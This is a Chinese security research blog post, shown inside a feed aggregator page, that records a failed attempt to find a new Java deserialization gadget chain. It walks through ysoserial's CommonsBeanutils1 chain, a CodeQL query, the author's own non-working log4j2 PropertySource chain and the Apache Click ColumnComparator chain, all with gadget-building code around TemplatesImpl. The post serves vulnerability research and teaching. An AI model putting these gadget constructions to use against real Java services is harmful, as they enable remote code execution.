惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

T
Tailwind CSS Blog
C
CERT Recently Published Vulnerability Notes
P
Proofpoint News Feed
Vercel News
Vercel News
博客园 - 三生石上(FineUI控件)
IT之家
IT之家
Help Net Security
Help Net Security
月光博客
月光博客
N
News and Events Feed by Topic
Cloudbric
Cloudbric
博客园 - 司徒正美
L
LangChain Blog
Recent Commits to openclaw:main
Recent Commits to openclaw:main
freeCodeCamp Programming Tutorials: Python, JavaScript, Git & More
T
Tenable Blog
The Register - Security
The Register - Security
The Hacker News
The Hacker News
I
InfoQ
The Last Watchdog
The Last Watchdog
MyScale Blog
MyScale Blog
Schneier on Security
Schneier on Security
WordPress大学
WordPress大学
小众软件
小众软件
Threat Intelligence Blog | Flashpoint
Threat Intelligence Blog | Flashpoint
宝玉的分享
宝玉的分享
CTFtime.org: upcoming CTF events
CTFtime.org: upcoming CTF events
K
Kaspersky official blog
L
LINUX DO - 热门话题
N
News | PayPal Newsroom
F
Fortinet All Blogs
Exploit-DB.com RSS Feed
Exploit-DB.com RSS Feed
S
Security @ Cisco Blogs
Recorded Future
Recorded Future
大猫的无限游戏
大猫的无限游戏
H
Help Net Security
Google Online Security Blog
Google Online Security Blog
S
Schneier on Security
C
Cisco Blogs
N
News and Events Feed by Topic
V2EX - 技术
V2EX - 技术
Latest news
Latest news
PCI Perspectives
PCI Perspectives
T
The Blog of Author Tim Ferriss
P
Palo Alto Networks Blog
T
Tor Project blog
Project Zero
Project Zero
云风的 BLOG
云风的 BLOG
Webroot Blog
Webroot Blog
Attack and Defense Labs
Attack and Defense Labs
cs.CL updates on arXiv.org
cs.CL updates on arXiv.org

SumSec's Blog

AI Agent 工程的必然演进:CLI、Skills、Harne… 从安全角度谈Java反射机制--前章 · SUMSEC 从安全角度谈Java反射机制--终章 · SUMSEC 逆向学习fastjson反序列化始 · SUMSEC 2020年研究回顾总结 · SUMSEC Abstract syntax tree classes for … Analyzing data flow in Java · SUM… Annotations in Java · SUMSEC Basic query for Java code · SUMSEC BypassSuper使用介绍说明 · SUMSEC CodeQL Create OpenJdk/Jdk8 Databa… CodeQL library for Java · SUMSEC Navigating the call graph · SUMSEC Overflow-prone comparisons in Jav… Types in Java · SUMSEC Working with source locations · S… Aliases · SUMSEC Expression · SUMSEC Formulas · SUMSEC Javadoc · SUMSEC Modules · SUMSEC Predicates · SUMSEC Queries · SUMSEC Type · SUMSEC Variables · SUMSEC 一道shiro反序列化题目引发的思考 · SUMSEC 修改ysoserial使其支持任意代码执行 · SUMSEC 自定义 ClassLoader 隔离运行不同版本jar包的方式 ·… 2020网鼎杯---Java文件上传wp · SUMSEC CNVD-2020-10487(CVE-2020-1938)tom… JDSRC安全课笔记 · SUMSEC Java反序列化链回显解决方案 · SUMSEC Skipped breakpoint because it hap… Windows Terminal 配置文件 · SUMSEC bypass 学习笔记之绕安全狗bypass safedog · … 一次意外的代码审计----JfinalCMS审计 · SUMSEC 一篇文章读懂Java代码审计之XXE · SUMSEC 从安全角度谈Java反射机制--序章 · SUMSEC 小楼昨夜又春风,你知ysoserial-Gadget-URLDNS… 春眠不觉晓,RCE知多少? · SUMSEC 漫谈Commons-Collections反序列化 · SUMSEC 漫谈Java反序列化 · SUMSEC 白头搔更短,SSTI惹人心! · SUMSEC 记一次面试题 · SUMSEC About Me 关于我 · SUMSEC Apache Flink任意Jar包上传导致远程代码执行 · SU… CVE-2019-1388 UAC提权复现 · SUMSEC CVE-2019-16097 || Harbor任意管理员注册漏洞… Python加密shellcode免杀 · SUMSEC Telegram机器人作为渗透测试框架 · SUMSEC VM虚拟机无法安装vmtools解决|本程序需要您将此虚拟机上安装… 谁能想到,电视遥控器竟成了 Vibe Coding 神器 · SU… 从手改 Skill 到自动进化:评测结果和执行轨迹如何让 Agen… 模型人人都能用,什么才是你能带走的?我的答案是一个可进化的SKIL… 模型人人都能用,什么才是你能带走的?我的答案是一个可进化的Skil… AI 时代 ShiroAttack2 5.x:修改了什么 · SU… 在 AGI 降临前,先给 AI 开一条”脑内弹幕”通道 · SUM… 一篇博文,三种时间:网页幻灯与 Remotion 动效的交付逻辑 … 🔍 别让大模型”想太多”:SKILL开发中的语义陷阱与抗幻觉设计 … 2022 年年度总结 · SUMSEC Java Swing To RCE 漏洞分析 · SUMSEC SpringBoot GatewayEL表达式漏洞分析 · SUM… Sensitive keys in codebases · SUM… 论如何优雅注入 Java 内存马 · SUMSEC SUMSEC 知识点 · SUMSEC VMWare Workspace ONE Access Auth … Spring Framework RCE CVE-2022-229… 相似度算法调研 · SUMSEC CVE-2022-33891 Apache Spark shell… 正则匹配配置不当 · SUMSEC Spring Data MongoDB SpEL CVE-2022… CodeQl Usage Tricks · SUMSEC Spring Boot RCE到内存马探索 · SUMSEC Shiro后渗透拓展面 · SUMSEC shiro反序列化漏洞攻击拓展面–修改key · SUMSEC GitHub Java CodeQL CTF · SUMSEC Hack-Tools 转化成Web · SUMSEC CodeQL与Shiro550碰撞 · SUMSEC CodeQL初见Shiro550 · SUMSEC CodeQL与AST之间联系 · SUMSEC Java加载动态链接库 · SUMSEC Log4j2 漏洞分析 · SUMSEC Interprocedural-Analysis 过程间分析 · … Data Analysis Foundation 数据分析基础 ·… Data Flow Analysis · SUMSEC Intermediate Representation 中间代表(… PII泄露–用CodeQL识别日志中的PII数据 · SUMSEC CodeQL workshop for Java: Unsafe … 前言 · SUMSEC 漏洞环境的搭建 · SUMSEC Fastjson回显 · SUMSEC Tomcat通用回显学习笔记 · SUMSEC 从Java反序列化漏洞题看CodeQL数据流 · SUMSEC 概述 · SUMSEC Ysoserial改造记录 · SUMSEC JNDI注入 · SUMSEC shiro JRMP gadget · SUMSEC Fastjson MySQL gadget复现 · SUMSEC 2021年度总结 · SUMSEC
记一次Log4j失败的Gadget挖掘记录 · SUMSEC
2023-01-09 · via SumSec's Blog

前言

   最开始我在《CodeQL与Shiro550的碰撞》的文章中提出了基于p牛写的依赖shiro1.2.4原生依赖CommonsBeanutils的漏洞gadget挖掘出了更多版本的漏洞gadget。之后我在使用CodeQL研究JNDI的漏洞触发类的挖掘办法,某天晚上玩着手机就突然想到如果我将这个方法用到挖掘漏洞gadget上呢?会有什么效果呢?虽然是一次失败的经历,但让笔者我对挖掘漏洞Gadget有了进一步深刻的理解。


CommonsBeanutils

   本文尝试都是基于CommonsBeanutils的gadget的基础之上去挖掘新的gadget(对这个gadget非常熟悉的原因。)

首先对CommonsBeanutils1的gadget的进行分析,主要找出那些是可以变动的,那些是不变的点。这段代码是ysoserial中的CommonsBeanutils一个gadget。

public Object getObject(final String command) throws Exception {
		final Object templates = Gadgets.createTemplatesImpl(command);
		final BeanComparator comparator = new BeanComparator("lowestSetBit");
		final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
		queue.add(new BigInteger("1"));
		queue.add(new BigInteger("1"));
	    Reflections.setFieldValue(comparator, "property", "outputProperties");
		final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
		queueArray[0] = templates;
		queueArray[1] = templates;
		return queue;
	}

逐行代码分析

这行代码是生成Templates命令的

final Object templates = Gadgets.createTemplatesImpl(command);

BeanComparator是CommonsBeanutils1的chain的漏洞触发点,也可以是直接new BeanComparator(); 。P牛提出的基于jdk内置的CommonsBeanutils的gadget chain写法是 new BeanComparator(null, String.CASE_INSENSITIVE_ORDER); ,BeanComparator是支持传入Comparator,如果不写就默认调用commons collection中的ComparableComparator。这里comparator在整个的gadget chain中是没有任何的调用,所以才能被随意的替换成其他的comparator。

final BeanComparator comparator = new BeanComparator("lowestSetBit");

image-20211102170436950

PrioritiyQueue是一个优先队列,配合TemplatesImpl的组合反序列化漏洞chain。为了比较优先级,PrioritiyQueue除了使用内置的comparator之外也是支持传入comparator。queue.add()随意添加两个变量是为了序列化做到兼容,反序列化的时候queue队列中的对象就是恶意TemplatesImpl对象。

final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
queue.add(new BigInteger("1")); // queue.add("1"); 
queue.add(new BigInteger("1")); // queue.add("1"); 

通过反射方式修改comparator的字段proerty的值为outputProperties, 这个点是TemplatesImpl漏洞触发的必要条件。

Reflections.setFieldValue(comparator, "property", "outputProperties");
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = templates;
queueArray[1] = templates;
return queue;

Gadget 构造条件

分析gadget的构造条件和构造过程,能够帮助更好从挖掘者的角度分析体会如何去挖掘一个全新的gadget。但如果从0开始构造个全新的漏洞利用方式对于目前的我来说很难。但从局部替换的方式出发,寻找可变量永恒量分析每一行的深层含义,这将大大减低一个漏洞gadget挖掘难度。

#### CommonsBeanutils构造条件

CommonsBeanutils使用的是PriorityQueue与TemplatesImpl组合的方式,前面提到PriorityQueue是支持传入Comparator。PriorityQueue组合特点就是在调用siftDownUsingComparator方法时会跳到BeanComparator中的Compare方法,在Comparator方法中获取到前面通过反射修改的property的值outputProperties。这个时触发TemplatesImpl中的getOutputProperties的调用,最终在getTransletInstance进行一个强制的类型转化触发漏洞。

final BeanComparator comparator = new BeanComparator("lowestSetBit");

触发TemplatesImpl中的getOutputProperties的调用

image-20211103110157384

getTransletInstance进行一个强制的类型转化触发漏洞

image-20211103110248123

总结

CommonsBeanutils这个gadget chain核心可以分为BeanComparator和PriorityQueue两个部分,两个部分有三种组合方式,本次挖掘将BeanComparator定义为了可变量,PriorityQueue定义为了永恒量。(也是最简单的一种组合方式)


apache log4j2 – 日志组件

可变量 – BeanComparator

分析一下BeanComparator在本次gadget做了那些事情,首先作为Comparator传入PriorityQueue中。那来看一下作为PriorityQueue的Comparator有那些要求,首先毋庸置疑得实现Serializable接口。然后作为一个comparator也得实现Java.util.Comparator接口。

image-20211103143011606

其次得实现compare方法

image-20211103143454090


log4j2 – PropertySource

这里使用CodeQL去挖掘log4j2组件时的QL规则,最终找到三个类。

import java

class MySerializableImpl extends ClassOrInterface{
	MySerializableImpl(){
		this.getName()="Comparator"
  }
}

predicate isMyClass( Class m){
	m.getASourceSupertype() instanceof MySerializableImpl
	and m.getASourceSupertype() instanceof TypeSerializable
}

from Class c
where isMyClass(c)
select c

image-20211103151036584

看源码发现,笔者发现PropertySource接口更贴近于所需要的类。下面这段代码是笔者当时构造的一个漏洞gadget chain,很遗憾的是失败了的。

public class PropertySources {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public void getPayload(byte[] clazzBytes) throws Exception {
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
        Properties properties = new Properties();
        org.apache.logging.log4j.util.PropertiesPropertySource propertySource1 = new org.apache.logging.log4j.util.PropertiesPropertySource(properties);
        org.apache.logging.log4j.util.PropertySource propertySource2 = new org.apache.logging.log4j.util.PropertySource() {
            @Override
            public int getPriority() {
                return 0;
            }
        };
        Comparator comparator =  new org.apache.logging.log4j.util.PropertySource.Comparator();
        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
        // stub data for replacement later
        queue.add(propertySource2);
        queue.add(propertySource2);
        setFieldValue(propertySource1, "properties", properties);
//        setFieldValue(comparator, "property", "outputProperties");
        setFieldValue(queue, "queue", new Object[]{obj, obj});
    }
}

失败原因分析

comparator实现compare方法达不到需求,方法的参数类型限制死了只能为PropertySource类。在BeanComparator类中compare方法是一个泛型T,这些需要将TemplatesImpl传入进去,然后得调用getProperty方法获取outputProperties值。这里comparator有getProperty方法,但这个方法返回值是int类型,而不是String类型因此无法获取到outputProperties的值进而无法触发反序列化漏洞。

image-20211103153535785


apache click

在挖掘失败之后笔者尝试去ysoserial源码里面验证自己想法,发现在2021年年初的时候作者合并了一个pr里面就完美验证了想法。这里做个简单验证分析流程。

  1. comparator首先实现了java.util.Comparator和Serializable接口
  2. compare方法参数是Object类型,所以的类的父类都是Object类所以也能满足需求
  3. 在compare方法里面有getProperty方法
static class ColumnComparator implements Comparator, Serializable {
    private static final long serialVersionUID = 1L;
    protected int ascendingSort;
    protected final Column column;

    public ColumnComparator(Column column) {
        this.column = column;
    }

    public int compare(Object row1, Object row2) {
        this.ascendingSort = this.column.getTable().isSortedAscending() ? 1 : -1;
        Object value1 = this.column.getProperty(row1);
        Object value2 = this.column.getProperty(row2);
        if (value1 instanceof Comparable && value2 instanceof Comparable) {
            return !(value1 instanceof String) && !(value2 instanceof String) ? ((Comparable)value1).compareTo(value2) * this.ascendingSort : this.stringCompare(value1, value2) * this.ascendingSort;
        } else if (value1 != null && value2 != null) {
            return value1.toString().compareToIgnoreCase(value2.toString()) * this.ascendingSort;
        } else if (value1 != null && value2 == null) {
            return 1 * this.ascendingSort;
        } else {
            return value1 == null && value2 != null ? -1 * this.ascendingSort : 0;
        }
    }

在compare方法里面有getProperty方法,这点想张开讲讲。在click的gadget chain中有一个setName操作,这里操作在反序列化的时候调用getName方法的时候会返回outputProperties.

column.setName("outputProperties");

进而在调用getProperty方法的调用PropertyUtils触发反序列化漏洞。

image-20211103161221805


click tips

ysoserial里面获取Comparator是通过反射的方式,但其实在Colunm中是提供了getComparator方法,故其实不需要反射调用,直接调用即可。

Comparator comparator = (Comparator) Reflections.newInstance("org.apache.click.control.Column$ColumnComparator", column);
Comparator comparator = column.getComparator();

image-20211103162237208

总结

   一个完美的漏洞gadget chain的每一步都是必不可少,具体到每一个细节。第一次尝试挖掘漏洞gadget chain虽然失败了,但是学到了很多知识点,对挖掘gadget chain积累一点小tips吧。目前个人想法,如果要对去挖掘一个全新的漏洞gadget chain,这难度不亚于唐僧取经。这也使得笔者对每一个gadget chain有更多敬意。。。本文只是个人探索gadget chain的一次小尝试记录文,如果有错误,还请斧正。


参考

https://lgtm.com/query/5500894352545410828/